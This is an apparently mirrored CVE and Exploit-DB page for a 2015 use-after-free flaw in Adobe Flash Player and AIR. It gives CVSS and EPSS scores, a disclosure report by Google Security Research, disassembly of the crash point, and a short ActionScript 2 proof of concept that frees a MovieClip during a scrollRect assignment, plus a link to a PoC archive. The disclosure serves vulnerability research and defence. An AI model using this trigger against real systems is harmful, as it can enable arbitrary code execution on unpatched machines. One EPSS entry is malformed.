CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.56%
–
–
2023-03-12
–
–
–
88.84%
–
2023-04-02
–
–
–
86.5%
–
2023-05-07
–
–
–
85.92%
–
2023-06-11
–
–
–
81.78%
–
2023-08-13
–
–
–
82.34%
–
2023-09-17
–
–
–
84.78%
–
2023-10-15
–
–
–
85.81%
–
2024-04-14
–
–
–
85.81%
–
2024-04-21
–
–
–
85.25%
–
2024-06-02
–
–
–
85.25%
–
2024-12-22
–
–
–
55.28%
–
2025-02-09
–
–
–
53.45%
–
2025-01-19
–
–
–
55.28%
–
2025-02-16
–
–
–
53.45%
–
2025-03-18
–
–
–
–
53.11%
2025-03-18
–
–
–
–
53.11,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2015-08-18 22h00 +00:00 Author : Google Security Research EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=359&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=482521]
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VULNERABILITY DETAILS
When setting the scrollRect attribute of a MovieClip in AS2 with a custom Rectangle it is possible to free the MovieClip while a reference remains
in the stack
VERSION
Chrome Version: Chrome stable 42.0.2311.90, Flash 17.0.0.169
Operating System: [Win 7 SP1]
REPRODUCTION CASE
That code targets the MovieClip.scrollRect property. While setting this attribute with a custom Rectangle, it is possible to trigger a use after free by freeing the targeted MovieClip. Creating a TextField with the same depth of the targeted MovieClip is enough to free an object and have Flash crash.
These lines come from flashplayer standalone 17.0.0.169:
.text:00597F45 loc_597F45:
.text:00597F45 cmp eax, 6
.text:00597F48 jnz loc_597FE5
.text:00597F4E mov ecx, esi ; esi points to the MovieClip object
.text:00597F50 call sub_40C1ED
.text:00597F55 add eax, 30Ch
.text:00597F5A or dword ptr [eax], 8
.text:00597F5D mov eax, [ebx]
.text:00597F5F mov byte ptr [eax+82Ch], 1
.text:00597F66 mov ecx, [ebx]
.text:00597F68 lea eax, [ebp+74h+var_1C0]
.text:00597F6E push eax
.text:00597F6F push dword ptr [ebx+0Ch]
.text:00597F72 call xfetchRectangleProperties ; get the Rectangle properties, and execute some AS2
.text:00597F77 test al, al
.text:00597F79 jz loc_598274
.text:00597F7F mov edi, [ebp+74h+var_1C0]
.text:00597F85 mov ecx, esi
.text:00597F87 imul edi, 14h
.text:00597F8A call sub_40C1ED ; reference freed memory and return a bad
pointer
.text:00597F8F mov [eax+310h], edi ; crash here, eax = 0
Poc (compile with Flash CS5.5):
import flash.geom.Rectangle
var o2 = {}
o2.valueOf = function () {
_global.mc.createTextField("newtf",1,1,1,2,3)
return 7
}
var o = {x:o2,y:0,width:4,height:5}
_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("newmc",1)
newmc.scrollRect = o
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37854.zip